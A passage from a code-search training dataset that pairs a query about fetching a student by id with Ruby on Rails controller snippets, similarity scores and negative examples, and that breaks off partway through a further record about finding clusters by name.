"def student_params\n params.require(:student).permit(:first_name, :middle_name, :last_name, :nickname, :birthdate, :grade, :ethnicity, :street, :city, :zip, :email, :phone, :is_active, :program_goals)\n end",
"def student_params\n params.require(:student).permit(:name, :birth_city, :birth_state, :birth_date, :address_street, :address_number, :address_complex, :address_cp, :address_phone, :email, :facebook, :personal_phone, :father_name, :father_live, :father_occupation, :father_phone, :mother_name, :mother_live, :mother_occupation, :mother_phone, :tutor_name, :tutor_parenthood, :previous_school, :previous_school_type, :scolarship, :security_institution, :medical_condition)\n end",
"def student_params\n params.require(:student).permit(:pphone, :pemail, :pwechat, :pqq, :firstname, :lastname, :englishname, :age, :birthday, :gender, :city, :schoolname, :schoolstatus, :level, :time, :estimate, :expectation, :paragraph, :dailyreading, :currentreadingstatus, :penglishlevel, :custody, :way, :reason)\n end",
"def student_params\n params.require(:student).permit(:first_name, :last_name, :email, :avatar, :roll_number, :guardian_id, :gender, :registration_number).tap do |whitelisted|\n whitelisted[:enrollment_term_id] = current_term.id\n end\n end",
"def student_params\n params.require(:student).permit(:first_name, :class_name, :s_last_name, :school_id, :school_name, :user_id, :updated_at,\n :notes, :active, :why_inactive, :second_grade_year, :third_grade_year, :fifth_grade_year,\n :other_program_notes, :num_other_programs, :control_group,\n :graduated, :grade, :vol_name, :vol_email, :file, :vol_phone, :thing_to_do, :vol_ids => [], :student_ids => [])\n end",
"def student_params\n params.require(:student).permit(:name, :surname, :genre_id, :date_of_birth, :telephone, :email, :passport_number, :passport_expiration_date, :address, :are_you_in_china, :photo, :passport_picture, :boursier_id, :typebourse_id, :faireanneelangue_id, :language_province, :year_of_chinese_language, :university_of_chinese_language_year, :starting_year_major, :province_id, :university_major, :major, :langueformation_id, :major_duration, :graduation_year, :niveauformation_id, :user_id)\n end",
"def student_params\n params.require(:student).permit(:name, :roll_number, :dob, :gender, :contact_number )\n end",
"def student_params\n params.require(:student).permit(:email, :first_name, :family_name, :scottish_candidate_number, :national_insurance_number)\n end",
"def student_params\n params.require(:student).permit(:last_name, :first_name, :form_of_address, :gender, :date_of_birth, :email)\n end",
"def student_params\n params.require(:student).permit(:f_name, :l_name, :nationality, :address, :city, :post_code, :gender, :phone, :email, :dob,\n :username, :password, :password_confirmation, :grade_id)\n end",
"def student_params\n params.require(:student).permit(:code, :name, :course_id, :user_id)\n end",
"def student_params\n params.require(:student).permit(:name, :UIN, :email, :US_Citizen, :degree, :position_type, :Mock_1)\n end",
"def student_params\n params.require(:student).permit(:email, :name, :password, :education, :university, :max_books, :fines)\n end",
"def student_params\n params.require(:student).permit(:first_name, :last_name, :email, :password, :linkedin, :github, :website, :contact, :description, :event_id, :school, :qualification, :degree, :graduation, :profile_pic_url, :course_id, :one_liner, :link, :video, :project_ids => [], :language_ids => [])\n end",
"def student_params\n params.require(:student).permit(:name, :registration, :admission)\n params.permit(:pc_id)\n end",
"def student_params\n params.require(:student).permit(:bibnummer, :surname, :name, :tel, :email, :percentage, :studiengang, :kundenstatus, :ersteinschreibung)\n end",
"def find_student_params\n params.require(:find_student).permit(:first_name, :last_name, :student_id, :programme_id, :level_id, :badge_id, :status)\n end",
"def student_params\n params.require(:student).permit(:firstName, :lastName, :dni, :career, :otherCareer, :fileNumber, :address, :department, :telephone, :cellphone, :dwelling, :rental, :economicSituation, :children, :dependent, :schoolDays, :familyGroup, :income, :minors, :disabilityOrIllness, :clarifications, :vehicles, :card_id)\n end",
"def student_params\n params.require(:student).permit(:name, :univ, :image, :assignment, :lecture)\n end",
"def student_params\n params.require(:student).permit(:id_number, :enrollment_status, :first_name, :middle_name, :last_name, :admission_date, :batch_number, :year_level, :section, :gender, :birthdate, :nationality, :birth_place, :religion, :street, :barangay, :city, :postal_code, :country, :lancaster_resident, :landline, :mobile, :email, :full_name, :institution_name, :year_level, :school_year, :grade, :general_avg)\n end",
"def student_params\n params[:student]\n end",
"def student_params\n params[:student]\n end",
"def student_params\n params.require(:student).permit(:birthday, :card_id, :course_id, schools: [:note, :school_id, :enterance_year],\n name:[:first_name, :family_name, :first_name_kana, :family_name_kana], contact_information:[:mail],\n )\n end",
"def student_params\n params.require(:student).permit(:fname, :lname, :email, :password, :isAdmin)\n end",
"def student_params\n params.require(:student).permit(:first_name, :last_name, :student_number)\n end",
"def student_params\n params.require(:student).permit(:avatar, :first_name, :last_name, :dob, :personal_notes, :current_level)\n end",
"def student_params\n params.require(:student).permit(:first_name, :last_name, :pennid, :email, :note, :id)\n end",
"def student_params\n params.require(:student).permit(:first_name, :last_name)\n end",
"def student_params\n params.require(:student).permit(:name, :surname, :day_of_birth, :month_of_birth, :year_of_birth, :school, :email, :comment)\n end",
"def student_params\n params.require(:student).permit(:name, :birthday, :education, :activated, :group_id)\n end",
"def student_params\n params.require(:student).permit(:name)\n end",
"def student_params\n params.require(:student).permit!\n end",
"def students_params(*args)\n params.require(:student).permit(*args)\n end",
"def student_params\n params.require(:student).permit(:s_number, :s_name, :s_password, :academy, :major, :age, :sex, :email, :address, :telephone, :s_power, :info_file)\n end",
"def student_params\n params.require(:student).permit(:nombre, :telefono, :email, :email2, :comoseenteraron, :descuento, :comentarios, :pago, :comentarios_pago)\n end",
"def people_student_params\n params.require(:people_student).permit(:name, :grade, :attendence)\n end",
"def student_params\n params.require(:student).permit(:name, :about, :level, :school_id, :room_ids => [])\n end",
"def student_params\n params.require(:student).permit(:last_name, :name, :dni, :student_number, :email)\n end",
"def student_params\n params.require(:student).permit(:email, :name, :password, :edu_level, :book_limit, :university_id)\n end",
"def student_params\n params.require(:student).permit(:matricula, :nome, :sexo, :estado_civil, :filiacao, :endereco, :telefone, :email, :esporte_preferido, :escolaridade, :naturalidade, :cidade, :uf, :pais, :cargo, :cpf, :identidade)\n end",
"def student_record_params\n params.require(:student_record).permit(:desc, :points, :attended, :student_id, :chapter_id)\n end",
"def student_params\n params.require(:student).permit(:nic, :name, :surname, :default_discount, :default_payment_type,\n :scholar_phone_number, :phone_number, :address, :town, :province, :zip_code,\n :details, :iban, :account_holder,\n student_activity_sign_ups_attributes: [ :id, :_destroy, :activity_id,\n :started_at, :ended_at,\n :activity_discount, :payment_type ] )\n end",
"def student_params\n params.require(:student).permit( :name,:father_name,:tracking_id, :session,:stream,:m_o_level_stream,:graduation_year,:matric_percentage,:o_level_grades,:DOB,:gender,:address1,:address2,:address3,:city,:district,:province,:mobile_number,:phone_number,:monthly_income,:income_range,:boarder, :email, :username, :password)\n end",
"def student_params\n params.require(:student).permit(:first_name, :last_name, :age, :gender, :shift, :email)\n end",
"def student_params\n params.require(:student).permit(:first_name, :last_name, :admission_number, :department, :year_of_admission, :year_of_completion, :gender, :DOB, :Image)\n end",
"def student_params\n params.require(:student).permit(:document, :name, :last_name, :age, :date_of_birth, :email, :gender, :marital_status, :nationality, :number_phone, :country, :state, :city, :address, :career, :reason,:photo)\n end",
"def student_params\n params.require(:student).permit(:student_name, :school_id, course_ids: [])\n end",
"def student_params\n params.require(:student).permit(:username, :password_digest, :first_name, :last_name, :email, :dob, :num)\n end",
"def student_params\n params.require(:student).permit(:name, :id_type, :gender, :address, :last_course, :outschool_years, :identification, :born, :etnic, :villa, :born_state, :displaced, :disability, :drop, :pic, :graduated, :why, :residency_state, :zone, :guardian_id, :school_id, :health_care_id, guardian_attributes: [:id_type, :identification, :name, :last_name, :second_name, :gender, :born, :address, :villa, :zone, :department, :municipality, :phone, :cel, :email, :relationship, :student_id])\n end",
"def student_params\n params.require(:student).permit(:name, :email, :password, :teacher_id,\n grades_attributes[:student_id, :assignment_name, :grade])\n end",
"def student_params\n # params.fetch(:student, {})\n params.require(:student).permit(:first_name, :last_name, :teacher_id, :active)\n end",
"def student_params\n params.require(:student).permit(:tiun, :first_name, :last_name, :document, :phone, :email)\n end",
"def student_params\n params.require(:student).permit(:user_id, :cohort_id, :grade)\n end",
"def student_params\n params.require(:student).permit(:first_name, :last_name, :birth_date, :email, :ip_address, :group_id, :registered_at, :average_grade)\n end",
"def student_params\n params[:student]\n end",
"def student_params\n params.require(:student).permit(:username, :forename, :surname, :regno)\n end",
"def student_params\n params.require(:student).permit(:surname, :name, :number, :dni, :email)\n end",
"def student_params\n params.fetch(:student, {})\n end",
"def student_params\n params.require(:student).permit(:email, :firstname, :lastname,\n :middlename, :date_of_birth, :home_address, :phone_number, :reg_number,\n :facebook, :twitter, :google_plus, :likes, :dislikes, :discipline, :best_subject, :hobbies, :photo )\n end",
"def student_params\n params.require(:student).permit(:first_name, :last_name, :dni, :number, :email)\n end",
"def student_params\n params.require(:student).permit(:name, :email, :password, :password_confirmation)\n end",
"def student_params\n params.require(:student).permit(:first_name, :last_name, :phone_number, :email)\n end",
"def student_params\n params.require(:student).permit(:name, :email, :enrollment_no, :degree_id, course_ids: [])\n end",
"def student_params\n params.require(:student)\n .permit(:nome, :email, :status, :role_id)\n end",
"def student_params\n params.require(:student).permit(:user_id)\n end",
"def student_params\n params.require(:student).permit(:name, :surname, :group_id)\n end",
"def student_params\n params.permit(:unmid, :email, :name)\n end",
"def post_params(*args)\n params.require(:student).permit(*args)\n end",
"def student_params\n params.require(:student).permit(\n :rut,:firstname,:lastname,:email,:careercode,:level,:dv,:lastnamema,:status,:entry, :department_id,\n :studentannotations_attributes=> [:times,:comment,:statusannotation_id,:typeannotation_id,:user_id, :id,:derivation]\n )\n end",
"def student_params\n params.require(:student).permit(:user_id, :pupil_id, :status, :response, :course_ids => [], :course_bookings_attributes => [:id, :course_id])\n end",
"def student_params\n params.require(:user).permit(:english_name, :first_name, :last_name, :email, :school, :year_level, :phone_number)\n end",
"def student_params\n params.require(:student).permit(:household_id, :first_name, :last_name, :dob, :cell_phone, :email, :grade, :gender, :emergency_contact_name, :emergency_contact_phone, :has_birth_certificate, :allergies, :medications, :security_question, :security_response, :active, :school_id, :_destroy, registrations_attributes: [:id, :bracket_id, :has_report_card, :has_proof_of_insurance, :insurance_provider, :insurance_policy_no, :family_physician, :physician_phone, :has_physical, :physical_date, :jersey_size, :active, :_destroy])\n end",
"def student_params\n params.require(:student).permit(:nim, :full_name, :address, :born, :student_since, :department_id, user_attributes: [:email, :username, :password, :password_confirmation], avatar_attributes: [:image])\n end",
"def student_params\n params.require(:student).permit(:name, :email, :password, :teacher_id, :password_confirmation)\n end",
"def student_params\n params.require(:user).permit(:export_id, :first_name, :last_name, :preferred_name, :email, :current_grade_id, :next_grade_id, :active, :can_update)\n end",
"def student_params\n params.require(:student).permit(:username, :email, :password, :college_name)\n end",
"def student_params\n params.require(:student).permit(:first_name,:last_name, :PRN_no, :email, :contact_no, :branch, :birthdate, :username,:password, :image)\n end",
"def student_params\n params.require(:student).permit(:name, :email)\n end",
"def student_params\n params.require(:student).permit(:name, :teacher_id, user_attributes: [:id, :email, :password, :password_confirmation, :student_id] )\n end"
] | [
"0.8171539",
"0.80596083",
"0.7985216",
"0.79727954",
"0.79723895",
"0.7955438",
"0.795217",
"0.7948074",
"0.7905658",
"0.7876048",
"0.7872057",
"0.7863074",
"0.78289586",
"0.78005505",
"0.78002816",
"0.7797637",
"0.77967584",
"0.77960306",
"0.77959776",
"0.77900326",
"0.77886945",
"0.7786959",
"0.7781857",
"0.7779309",
"0.77791834",
"0.77623147",
"0.7742916",
"0.77265877",
"0.7707506",
"0.7700063",
"0.76948184",
"0.76918423",
"0.76912713",
"0.7682839",
"0.7681063",
"0.76768655",
"0.76750606",
"0.7673712",
"0.76678085",
"0.76661545",
"0.7649687",
"0.7648334",
"0.7634589",
"0.7634589",
"0.76318306",
"0.7627757",
"0.76274717",
"0.76238275",
"0.76196516",
"0.7601946",
"0.7599223",
"0.75960827",
"0.7593184",
"0.75879824",
"0.7585922",
"0.7571261",
"0.7568789",
"0.75626975",
"0.7562695",
"0.7559703",
"0.7557849",
"0.7549691",
"0.7549031",
"0.7547964",
"0.7546256",
"0.7535813",
"0.75355977",
"0.75343645",
"0.75308615",
"0.7529975",
"0.75219387",
"0.7520569",
"0.7515098",
"0.74955446",
"0.74951994",
"0.74865997",
"0.7476404",
"0.74749094",
"0.74617255",
"0.74506325",
"0.7442836",
"0.74387735",
"0.74379283",
"0.7437397",
"0.74292946",
"0.74158865",
"0.74155205",
"0.7404503",
"0.7392683",
"0.7389154",
"0.73716307",
"0.7365773",
"0.7362243",
"0.73589444",
"0.7352083",
"0.7346631",
"0.7335604",
"0.73289245",
"0.73262525",
"0.73186886",
"0.7311174"
] | 0.0 | -1 |
This private method fetches a student from the database by the id | def set_student
@student = Student.find(current_student.id)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def find_student\n Student.find(params[:id])\n end",
"def find_student\n @student = Student.find(params[:id])\n end",
"def get_student\n @student = Student.find(params[:student_id])\n end",
"def show\n @student = Student.find_by_id(params[:id])\n end",
"def students\n Student.conn.exec(\"SELECT * FROM students WHERE squad_id = ($1)\", [id])\n end",
"def show\n\n @student = Student.find(params[:id])#search_stdId(params[:Id])\n\n end",
"def show\n \n @student= Student.find(params[:id])\n \n \n end",
"def show\n @student = Student.find(params[:id])\n end",
"def show\n @student = Student.find(params[:id])\n end",
"def show\n @student = Student.find(params[:id])\n end",
"def show\n @student = Student.find(params[:id])\n end",
"def show\n @student = Student.find(params[:id])\n end",
"def show\n @student = find_student # Load the student mentioned by id in the route\n end",
"def get_student\n @student = Student.find(params[:std_id])\n render json: @student\n end",
"def current_student\n Student.find_by({id: session[:student_id]})\nend",
"def set_student\n @student = User.students.find_by_id(params[:id])\n end",
"def show\n student = Student.find(params[:id])\n render json: { status: '200', message: \"Loaded Student with id #{params[:id]}\", data: student }, status: :ok\n rescue ActiveRecord::RecordNotFound\n render json: { status: '404', error: \"No Student with id #{params[:id]}\", data: student }, status: :not_found\n end",
"def set_student_id\n @student_id = StudentId.find(params[:id])\n end",
"def set_student\n student = Student.find(params[:id])\n end",
"def show \n # @student = Student.find(params[:id]) \n # Same as: \n @student = Student.find_by({ id: params[:id] } )\n # render(:show) <- Rails automatically does this\n end",
"def set_student\n @student = Student.includes(:scores, :nutritions).find(params[:id])\n end",
"def show\n authorize Student\n if(current_user.user?)\n @stud = Student.find_by_email(current_user.email)\n @stud2 = Student.find(params[:id])\n if(@stud.id!=@stud2[:id])\n flash[:alert] = \"You are not authorized to perform this action.\"\n redirect_to(request.referrer || root_path)\n end\n end\n end",
"def set_student\n @student = Student.find_by(id: params[:id])\n end",
"def show\n if current_user && !current_user.student?\n @user = User.find_by_id(params[:id])\n end\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def fetch(id)\n search(id: id)[:records].first\n end",
"def find(id); end",
"def find(id); end",
"def find(id)\n end",
"def set_student\n @student = current_school.students.find(params[:id])\n end",
"def fetch(id)\n fetch_by_id(id) or raise(ActiveRecord::RecordNotFound, \"Couldn't find #{self.class.name} with ID=#{id}\")\n end",
"def guardian_students\n id=session[:user_id]\n @guardian=MgGuardian.find_by(:mg_user_id=>\"#{id}\")\n logger.info(\"=================================================\")\n logger.info(id)\n @sql = \"SELECT S.first_name ,S.last_name,S.admission_number, S.id from mg_students S,mg_guardians G ,mg_student_guardians M Where M.has_login_access=1 And M.mg_guardians_id = #{@guardian.id} And S.id = M.mg_student_id and G.id = M.mg_guardians_id\"\n\n @StudentListQuery=MgStudent.find_by_sql(@sql)\n\n render :layout => false\nend",
"def fetch(id)\n fetch_by_id(id) or raise(ActiveRecord::RecordNotFound, \"Couldn't find #{self.name} with ID=#{id}\")\n end",
"def set_find_student\n @find_student = FindStudent.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end"
] | [
"0.7688415",
"0.76264125",
"0.7590514",
"0.72686505",
"0.72279423",
"0.7177061",
"0.69819444",
"0.69668853",
"0.69668853",
"0.69668853",
"0.69668853",
"0.69668853",
"0.6858553",
"0.6751064",
"0.6741444",
"0.6732813",
"0.66522473",
"0.6646249",
"0.66297406",
"0.66002774",
"0.6597654",
"0.6579237",
"0.6551842",
"0.6519749",
"0.65095425",
"0.65095425",
"0.65095425",
"0.65095425",
"0.65095425",
"0.65095425",
"0.65095425",
"0.64867294",
"0.64867294",
"0.64867294",
"0.645457",
"0.6446747",
"0.6446747",
"0.6446666",
"0.64410526",
"0.6440663",
"0.6432715",
"0.6425744",
"0.6413395",
"0.6410801",
"0.6410801",
"0.6410801",
"0.6410801",
"0.6410801",
"0.6410801",
"0.6410801",
"0.6410801",
"0.6410801",
"0.6410801",
"0.6410801",
"0.6410801",
"0.6410801",
"0.6410801",
"0.6410801",
"0.6410801",
"0.6410801",
"0.6410801",
"0.6410801",
"0.6410801",
"0.6410801",
"0.6410801",
"0.6410801",
"0.6410801",
"0.6410801",
"0.6410801",
"0.6410801",
"0.6410801",
"0.6410801",
"0.6410801",
"0.6410801",
"0.6410801",
"0.6410801",
"0.6410801",
"0.6410801",
"0.6410801",
"0.6410801",
"0.6410801",
"0.6410801",
"0.6410801",
"0.6410801",
"0.6410801",
"0.6410801",
"0.6410801",
"0.6410801",
"0.6410801",
"0.6410801",
"0.6410801",
"0.6410801",
"0.6410801",
"0.6410801",
"0.6410801",
"0.6410801",
"0.6410801",
"0.6410801",
"0.6410801",
"0.6410801",
"0.6410801"
] | 0.0 | -1 |
Find a named cluster by name | def named_cluster(name = context&.cluster)
return nil if name.nil?
clusters.find { |c| c.name == name }
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def get_cluster(name)\n cl_obj = Com::Vmware::Vcenter::Cluster.new(vapi_config)\n\n # @todo: Use Cluster::FilterSpec to only get the cluster which was asked\n # filter = Com::Vmware::Vcenter::Cluster::FilterSpec.new(clusters: Set.new(['...']))\n clusters = cl_obj.list.select { |cluster| cluster.name == name }\n raise format(\"Unable to find Cluster: %s\", name) if clusters.empty?\n\n cluster_id = clusters[0].cluster\n cl_obj.get(cluster_id)\n end",
"def cluster name\n Cluster.receive connection.resource(:get, \"clusters/#{name}\")\n end",
"def cluster(name = context&.cluster)\n named_cluster(name)&.cluster\n end",
"def get_cluster_id(name)\n return if name.nil?\n\n cluster_api = VSphereAutomation::VCenter::ClusterApi.new(api_client)\n raise_if_unauthenticated cluster_api, \"checking for ID of cluster `#{name}`\"\n\n clusters = cluster_api.list({ filter_names: name }).value\n\n raise_if_missing clusters, format(\"Unable to find Cluster: `%s`\", name)\n raise_if_ambiguous clusters, format(\"`%s` returned too many clusters\", name)\n\n clusters.first.cluster\n end",
"def get_cluster(name)\n cluster_id = get_cluster_id(name)\n\n host_api = VSphereAutomation::VCenter::HostApi.new(api_client)\n raise_if_unauthenticated host_api, \"checking for cluster `#{name}`\"\n\n hosts = host_api.list({ filter_clusters: cluster_id, connection_states: \"CONNECTED\" }).value\n filter_maintenance!(hosts)\n raise_if_missing hosts, format(\"Unable to find active hosts in cluster `%s`\", name)\n\n cluster_api = VSphereAutomation::VCenter::ClusterApi.new(api_client)\n cluster_api.get(cluster_id).value\n end",
"def find(name, config, datacenter_name)\n cluster_mob = cluster_mobs[name]\n raise \"Can't find cluster '#{name}'\" if cluster_mob.nil?\n\n cluster_properties = @client.cloud_searcher.get_properties(\n cluster_mob, VimSdk::Vim::ClusterComputeResource,\n Cluster::PROPERTIES, :ensure_all => true\n )\n raise \"Can't find properties for cluster '#{name}'\" if cluster_properties.nil?\n\n Cluster.new(\n config,\n cluster_properties,\n @client,\n datacenter_name,\n )\n end",
"def cluster( name )\n\n return ::Module::Cluster.instance_controller( self ).cluster( name )\n \n end",
"def find_by_name(name)\n Discovery.find_by_name(name)\n end",
"def cluster() node[:cluster_name] ; end",
"def has_cluster?( name )\n \n return ::Module::Cluster.instance_controller( self ).has_cluster?( name )\n \n end",
"def get_node_id_by_name(name, keyname, secret)\n\tget_node_cmd = \"#{node[:zendserver][:zsmanage]} cluster-list-servers -N #{keyname} -K #{secret} -U http://#{node[:hostname]}:10081/ZendServer/\"\n\tp = shell_out(get_node_cmd)\n\tp.stdout.split(/\\n/).grep(/#{name}/)[0].split(/\\t/)[0]\nend",
"def name\n @cluster.name\n end",
"def find_client(cl_name)\n chef_clients.find{|ccl| ccl.name == cl_name }\n end",
"def cluster_config\n Settings.clusters[name]\n end",
"def client(name)\n client_to_find = name\n @clients.find {|key, value| key == client_to_find } \n end",
"def get_cluster instance_id, cluster_id\n instances.get_cluster name: cluster_path(instance_id, cluster_id)\n end",
"def find_node_by_name(name)\n @nodes[name]\n end",
"def cluster_by_word_en_name(name)\r\n clusters = Cluster.where(:word_en_name => name).all #modify later, use only recent N clusters\r\n un_clustered_items = Gitem.where(:word_en_name => name, :cluster_id => nil).all\r\n un_clustered_items.each { |item| cluster_item(item, clusters) }\r\n end",
"def find_by_name(name)\n find_by('name', name)\n end",
"def cluster_for_host(host)\n cluster_id = host['CLUSTER_ID'].to_i\n\n # host without cluster\n return nil if cluster_id == -1\n\n cluster = OpenNebula::Cluster.new(OpenNebula::Cluster.build_xml(cluster_id), @client)\n rc = cluster.info\n check_retval(rc, Errors::ResourceRetrievalError)\n\n cluster\n end",
"def cluster\n OodAppkit.clusters[cluster_id] || raise(ClusterNotFound, \"Session specifies nonexistent '#{cluster_id}' cluster id.\")\n end",
"def find_by_name(name)\n end",
"def find(name)\n instances.find { |instance| instance.name == (name) }\n end",
"def find_node_config_by_name(name)\n @config[:node_configs].find { |config| config[:name] == name }\n end",
"def cluster_records(name)\n run = @cluster_runs.find { |r| r.get_name == name }\n return nil if run.nil?\n\n run.get_clusters.to_a.sort_by!(&:get_id)\n end",
"def find(name)\n vertices.each do |vertex|\n return vertex if vertex.name == name\n end\n nil\n end",
"def find(name)\n result = nil\n connect do |conn|\n begin\n conn.search2(dn(name), 0, \"objectclass=*\") do |result|\n # Convert to puppet-appropriate attributes\n return entry2provider(result)\n end\n rescue => detail\n return nil\n end\n end\n end",
"def cluster(names)\n persons, companies = partition_by_type(names)\n \n clusterer = SCluster::Clusterer.new(companies, MAX_DISTANCE)\n clusterer.cluster\n \n return clusterer.to_a + [persons]\n end",
"def find(name); end",
"def get_cluster_by_key\n return @cluster_by\n end",
"def execute(query = {})\n unless query[:region] && query[:cluster_name]\n detected = autodetect_cluster_or_throw\n [:region, :cluster_name].each do |key|\n query[key] = detected[key] if query[key].nil?\n end\n end\n\n cluster = @finder.find(query)\n @stdout.puts(JSON.pretty_generate(cluster.to_hash))\n end",
"def cluster_name(cluster)\n server_flavor = cluster[\"flavor\"]\n server_plan = cluster[\"plan\"] || \"free\"\n cluster_name = \"#{service_name}_#{server_flavor}_#{server_plan}\"\n cluster_name.gsub!(/\\W+/, '_')\n cluster_name\n end",
"def find_bucket(name)\n buckets.find(\"#{name}\")\n end",
"def find(name)\n domains = list(100)\n index = domains.index(name)\n domains[index] unless index.nil?\n end",
"def find_node name\n node = ColumnTopologyNode.new(name, @locator)\n node.is_present? ? node : nil\n end",
"def client(name)\n @clients[name]\n end",
"def find_node(nd_name)\n chef_nodes.find{|nd| nd.name == nd_name }\n end",
"def find_vertex(name)\n result = nil\n\n @vertices.each do |v|\n result = v if v.name == name\n end\n\n result\n end",
"def cluster_ordinations_file(name)\n clustering_files.detect { |file| file.name == name }\n end",
"def get_cluster\n if params[:jobcluster] && (OODClusters[params[:jobcluster]] || params[:jobcluster] == 'all')\n params[:jobcluster]\n end\n end",
"def create_cluster(name, options = {})\n cluster = Cluster.receive(cluster_name: name, href: File.join('clusters', name))\n cluster.create options\n end",
"def get_cluster instance_id, cluster_id\n execute do\n instances.get_cluster(\n cluster_path(instance_id, cluster_id)\n )\n end\n end",
"def find_by_name(name)\n return nil unless name.present?\n names.select {|e| e == name}\n end",
"def find_channel(name)\n if name.include? '/'\n sid, cid = name.split('/')\n\n server = discord.servers[sid.to_i]\n server ||= (discord.servers.find { |_i, s| s.name.downcase.tr(' ', '~') == sid.downcase } || [])[1]\n return unless server\n\n chan = server.channels.find { |c| [c.id.to_s, c.name].include? cid }\n return unless chan\n\n DiscordChannelShim.new chan\n else\n chans = channel_list.select { |c| c.name == name }\n if chans.count == 1\n chans.first\n elsif chans.count > 1\n chans\n end\n end\n end",
"def find_channel(name)\n if name.include? '/'\n sid, cid = name.split('/')\n\n server = discord.servers[sid.to_i]\n server ||= (discord.servers.find { |_i, s| s.name.downcase.tr(' ', '~') == sid.downcase } || [])[1]\n return unless server\n\n chan = server.channels.find { |c| [c.id.to_s, c.name].include? cid }\n return unless chan\n\n DiscordChannelShim.new chan\n else\n chans = channel_list.select { |c| c.name == name }\n if chans.count == 1\n chans.first\n elsif chans.count > 1\n chans\n end\n end\n end",
"def zone_by_name(name)\n zones_by_name(name, 1).find do |zone|\n zone.name == name\n end\n end",
"def node_cluster?(node_name)\n @nodes_graph[node_name][:type] == :cluster || !@nodes_graph[node_name][:includes].empty?\n end",
"def find_by_name(name)\n select(\"* FROM groups\")\n .where(\"name = #{name}\")\n end",
"def get_host( name )\n @hosts[ name ]\n end",
"def get_service_by_name(name, space_guid)\n @client.service_instances_by_name(name).find {|srv| srv.space.guid = space_guid }\n end",
"def find(name)\n list[name]\n end",
"def find(name, options = {})\n client = extract_client!(options)\n\n response = client.get(\"/api/security/groups/#{url_safe(name)}\")\n from_hash(response, client: client)\n rescue Error::HTTPError => e\n raise unless e.code == 404\n\n nil\n end",
"def cluster()\n @cluster ||= $ip2cluster[@ip]\n @cluster\n end",
"def cluster_id\n @grpc.name.split(\"/\")[5]\n end",
"def api_v11_clusters_cluster_name_get_with_http_info(cluster_name, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: DefaultApi#api_v11_clusters_cluster_name_get ...\"\n end\n \n # verify the required parameter 'cluster_name' is set\n fail \"Missing the required parameter 'cluster_name' when calling api_v11_clusters_cluster_name_get\" if cluster_name.nil?\n \n # resource path\n path = \"/api/v11/clusters/{clusterName}\".sub('{format}','json').sub('{' + 'clusterName' + '}', cluster_name.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = []\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = []\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => 